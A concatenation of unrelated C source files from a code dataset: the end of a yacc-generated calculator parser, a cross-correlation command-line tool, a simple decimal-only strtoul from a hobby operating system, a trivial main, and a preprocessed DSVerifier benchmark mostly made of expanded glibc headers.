}
#if YYPURE || defined(YY_NO_LEAKS)
static void yyfreestack(YYSTACKDATA *data)
{
free(data->s_base);
free(data->l_base);
memset(data, 0, sizeof(*data));
}
#else
#define yyfreestack(data) /* nothing */
#endif
#define YYABORT goto yyabort
#define YYREJECT goto yyabort
#define YYACCEPT goto yyaccept
#define YYERROR goto yyerrlab
int
YYPARSE_DECL()
{
int yym, yyn, yystate;
#if YYDEBUG
const char *yys;
if ((yys = getenv("YYDEBUG")) != 0)
{
yyn = *yys;
if (yyn >= '0' && yyn <= '9')
yydebug = yyn - '0';
}
#endif
yynerrs = 0;
yyerrflag = 0;
yychar = YYEMPTY;
yystate = 0;
#if YYPURE
memset(&yystack, 0, sizeof(yystack));
#endif
if (yystack.s_base == NULL && yygrowstack(&yystack)) goto yyoverflow;
yystack.s_mark = yystack.s_base;
yystack.l_mark = yystack.l_base;
yystate = 0;
*yystack.s_mark = 0;
yyloop:
if ((yyn = yydefred[yystate]) != 0) goto yyreduce;
if (yychar < 0)
{
if ((yychar = YYLEX) < 0) yychar = 0;
#if YYDEBUG
if (yydebug)
{
yys = 0;
if (yychar <= YYMAXTOKEN) yys = yyname[yychar];
if (!yys) yys = "illegal-symbol";
printf("%sdebug: state %d, reading %d (%s)\n",
YYPREFIX, yystate, yychar, yys);
}
#endif
}
if ((yyn = yysindex[yystate]) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == yychar)
{
#if YYDEBUG
if (yydebug)
printf("%sdebug: state %d, shifting to state %d\n",
YYPREFIX, yystate, yytable[yyn]);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack))
{
goto yyoverflow;
}
yystate = yytable[yyn];
*++yystack.s_mark = yytable[yyn];
*++yystack.l_mark = yylval;
yychar = YYEMPTY;
if (yyerrflag > 0) --yyerrflag;
goto yyloop;
}
if ((yyn = yyrindex[yystate]) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == yychar)
{
yyn = yytable[yyn];
goto yyreduce;
}
if (yyerrflag) goto yyinrecovery;
yyerror("syntax error");
goto yyerrlab;
yyerrlab:
++yynerrs;
yyinrecovery:
if (yyerrflag < 3)
{
yyerrflag = 3;
for (;;)
{
if ((yyn = yysindex[*yystack.s_mark]) && (yyn += YYERRCODE) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == YYERRCODE)
{
#if YYDEBUG
if (yydebug)
printf("%sdebug: state %d, error recovery shifting\
to state %d\n", YYPREFIX, *yystack.s_mark, yytable[yyn]);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack))
{
goto yyoverflow;
}
yystate = yytable[yyn];
*++yystack.s_mark = yytable[yyn];
*++yystack.l_mark = yylval;
goto yyloop;
}
else
{
#if YYDEBUG
if (yydebug)
printf("%sdebug: error recovery discarding state %d\n",
YYPREFIX, *yystack.s_mark);
#endif
if (yystack.s_mark <= yystack.s_base) goto yyabort;
--yystack.s_mark;
--yystack.l_mark;
}
}
}
else
{
if (yychar == 0) goto yyabort;
#if YYDEBUG
if (yydebug)
{
yys = 0;
if (yychar <= YYMAXTOKEN) yys = yyname[yychar];
if (!yys) yys = "illegal-symbol";
printf("%sdebug: state %d, error recovery discards token %d (%s)\n",
YYPREFIX, yystate, yychar, yys);
}
#endif
yychar = YYEMPTY;
goto yyloop;
}
yyreduce:
#if YYDEBUG
if (yydebug)
printf("%sdebug: state %d, reducing by rule %d (%s)\n",
YYPREFIX, yystate, yyn, yyrule[yyn]);
#endif
yym = yylen[yyn];
if (yym)
yyval = yystack.l_mark[1-yym];
else
memset(&yyval, 0, sizeof yyval);
switch (yyn)
{
case 3:
#line 35 "quote_calc2.y"
{ yyerrok ; }
break;
case 4:
#line 39 "quote_calc2.y"
{ printf("%d\n",yystack.l_mark[0]);}
break;
case 5:
#line 41 "quote_calc2.y"
{ regs[yystack.l_mark[-2]] = yystack.l_mark[0]; }
break;
case 6:
#line 45 "quote_calc2.y"
{ yyval = yystack.l_mark[-1]; }
break;
case 7:
#line 47 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] + yystack.l_mark[0]; }
break;
case 8:
#line 49 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] - yystack.l_mark[0]; }
break;
case 9:
#line 51 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] * yystack.l_mark[0]; }
break;
case 10:
#line 53 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] / yystack.l_mark[0]; }
break;
case 11:
#line 55 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] % yystack.l_mark[0]; }
break;
case 12:
#line 57 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] & yystack.l_mark[0]; }
break;
case 13:
#line 59 "quote_calc2.y"
{ yyval = yystack.l_mark[-2] | yystack.l_mark[0]; }
break;
case 14:
#line 61 "quote_calc2.y"
{ yyval = - yystack.l_mark[0]; }
break;
case 15:
#line 63 "quote_calc2.y"
{ yyval = regs[yystack.l_mark[0]]; }
break;
case 17:
#line 68 "quote_calc2.y"
{ yyval = yystack.l_mark[0]; base = (yystack.l_mark[0]==0) ? 8 : 10; }
break;
case 18:
#line 70 "quote_calc2.y"
{ yyval = base * yystack.l_mark[-1] + yystack.l_mark[0]; }
break;
#line 627 "quote_calc2-s.tab.c"
}
yystack.s_mark -= yym;
yystate = *yystack.s_mark;
yystack.l_mark -= yym;
yym = yylhs[yyn];
if (yystate == 0 && yym == 0)
{
#if YYDEBUG
if (yydebug)
printf("%sdebug: after reduction, shifting from state 0 to\
state %d\n", YYPREFIX, YYFINAL);
#endif
yystate = YYFINAL;
*++yystack.s_mark = YYFINAL;
*++yystack.l_mark = yyval;
if (yychar < 0)
{
if ((yychar = YYLEX) < 0) yychar = 0;
#if YYDEBUG
if (yydebug)
{
yys = 0;
if (yychar <= YYMAXTOKEN) yys = yyname[yychar];
if (!yys) yys = "illegal-symbol";
printf("%sdebug: state %d, reading %d (%s)\n",
YYPREFIX, YYFINAL, yychar, yys);
}
#endif
}
if (yychar == 0) goto yyaccept;
goto yyloop;
}
if ((yyn = yygindex[yym]) && (yyn += yystate) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == yystate)
yystate = yytable[yyn];
else
yystate = yydgoto[yym];
#if YYDEBUG
if (yydebug)
printf("%sdebug: after reduction, shifting from state %d \
to state %d\n", YYPREFIX, *yystack.s_mark, yystate);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack))
{
goto yyoverflow;
}
*++yystack.s_mark = (short) yystate;
*++yystack.l_mark = yyval;
goto yyloop;
yyoverflow:
yyerror("yacc stack overflow");
yyabort:
yyfreestack(&yystack);
return (1);
yyaccept:
yyfreestack(&yystack);
return (0);
}
|
the_stack_data/70512.c
|
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define thisprog "xe-crosscor2"
#define TITLE_STRING thisprog" v.1: 7.May.2020 [JRH]"
#define MAXLINELEN 1000
/*
<TAGS>signal_processing stats</TAGS>
v.1: 7.May.2020 [JRH]
*/
/* external functions start */
long xf_interp3_d(double *data, long ndata);
double xf_correlate_simple_d(double *x, double *y, long nn, double *result_d);
/* external functions end */
int main (int argc, char *argv[]) {
/* general variables */
char *infile,*outfile,line[MAXLINELEN],templine[MAXLINELEN],word[256],*pline,*pcol;
long int ii,jj,kk,nn=0,maxshift;
int v,w,x,y,z,col,colmatch;
int sizeofdouble=sizeof(double);
float a,b,c,d;
double aa,bb,cc,dd,result_d[64];
FILE *fpin,*fpout;
/* program-specific variables */
double *xdat=NULL,*ydat=NULL,*tempdat=NULL,*xcor=NULL;
/* arguments */
int setverb=1;
double setsfreq=1.0,setmax=-1.0;
/* PRINT INSTRUCTIONS IF THERE IS NO FILENAME SPECIFIED */
if(argc<2) {
fprintf(stderr,"\n");
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"%s\n",TITLE_STRING);
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"Calculate cross-correlation function on a time-series\n");
fprintf(stderr," - this method uses the actual correlation of the time-series\n");
fprintf(stderr," - non-numeric values will be ignored\n");
fprintf(stderr,"USAGE:\n");
fprintf(stderr," %s [input] [options]\n",thisprog);
fprintf(stderr," [input]: file name or \"stdin\", 2 columns per line ( x y )\n");
fprintf(stderr,"VALID OPTIONS:\n");
fprintf(stderr," -sf: sample frequency (Hz) [%g]\n",setsfreq);
fprintf(stderr," -max: max lag to calculate (seconds, -1 = auto) [%g]\n",setmax);
fprintf(stderr," -verb: verbose output (0=NO 1=YES 999=DEBUG) [%d]\n",setverb);
fprintf(stderr,"EXAMPLES:\n");
fprintf(stderr," %s data.txt -sf 1500\n",thisprog);
fprintf(stderr," ccut -f 2,3 temp.txt | %s stdin -sf 24000 -max 60 \n",thisprog);
fprintf(stderr,"OUTPUT:\n");
fprintf(stderr," 1st column: time-lag (seconds)\n");
fprintf(stderr," 2nd column: cross-correlation\n");
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"\n");
exit(0);
}
/* READ THE FILENAME AND OPTIONAL ARGUMENTS */
infile= argv[1];
for(ii=2;ii<argc;ii++) {
if( *(argv[ii]+0) == '-') {
if((ii+1)>=argc) {fprintf(stderr,"\n--- Error [%s]: missing value for argument \"%s\"\n\n",thisprog,argv[ii]); exit(1);}
else if(strcmp(argv[ii],"-sf")==0) setsfreq=atof(argv[++ii]);
else if(strcmp(argv[ii],"-max")==0) setmax=atof(argv[++ii]);
else if(strcmp(argv[ii],"-verb")==0) setverb=atoi(argv[++ii]);
else {fprintf(stderr,"\n--- Error [%s]: invalid command line argument \"%s\"\n\n",thisprog,argv[ii]); exit(1);}
}}
if(setverb!=0 && setverb!=1 && setverb != 999) { fprintf(stderr,"\n--- Error [%s]: invalid -verb [%d] must be 0,1, or 999\n\n",thisprog,setverb);exit(1);}
/* STORE DATA METHOD 1 - stream of single numbers in column or row */
if(strcmp(infile,"stdin")==0) fpin=stdin;
else if((fpin=fopen(infile,"r"))==0) {fprintf(stderr,"\n--- Error [%s]: file \"%s\" not found\n\n",thisprog,infile);exit(1);}
while(fgets(line,MAXLINELEN,fpin)!=NULL) {
if(sscanf(line,"%lf %lf",&aa,&bb)!=2) continue;
if((xdat=(double *)realloc(xdat,(nn+1)*sizeofdouble))==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);};
if((ydat=(double *)realloc(ydat,(nn+1)*sizeofdouble))==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);};
xdat[nn]= aa;
ydat[nn]= bb;
nn++;
}
if(strcmp(infile,"stdin")!=0) fclose(fpin);
if(setverb==999) for(ii=0;ii<nn;ii++) fprintf(stderr,"%g\t%g\n",xdat[ii],ydat[ii]);
if(setmax<=0.0) setmax=(double)nn/setsfreq;
maxshift=(long int)(setmax*setsfreq);
if(maxshift>nn) {
fprintf(stderr,"\n--- Warning [%s]: max lag (%g seconds) is longer than the input (%g seconds) - adjusting to input length\n\n",thisprog,setmax,(nn*setsfreq));
maxshift=nn;
}
/* interpolate datasets to remove non-numerics */
xf_interp3_d(xdat,nn);
xf_interp3_d(ydat,nn);
/* expand ydat to allow shifting */
if((ydat= realloc(ydat,nn*2*sizeofdouble))==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);}
/* make a copy of ydat at the end */
jj=nn; for(ii=0;ii<nn;ii++) { ydat[jj]= ydat[ii]; jj++; }
for(kk=0;kk<maxshift;kk++) {
aa= xf_correlate_simple_d(xdat,(ydat+kk),nn,result_d);
printf("%g %g\n",(kk/setsfreq),aa);
}
free(xdat);
free(ydat);
free(xcor);
exit(0);
}
|
the_stack_data/57254.c
|
;/* This file is part of The Firekylin Operating System.
; *
; * Copyright 2016 Liuxiaofeng
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; */
#include <stdlib.h>
#include <ctype.h>
unsigned long strtoul(const char *str, char **endptr, int base)
{
unsigned long ret = 0;
char *p = (char *) str;
while (isspace(*p))
p++;
while (isdigit(*p)) {
ret = ret * 10 + *p - '0';
p++;
}
if (endptr)
*endptr = p;
return ret;
}
|
the_stack_data/111969.c
|
int main(void)
{
return 42;
}
|
the_stack_data/464.c
|
# 1 "benchmarks/ds-01-impl2.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-01-impl2.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
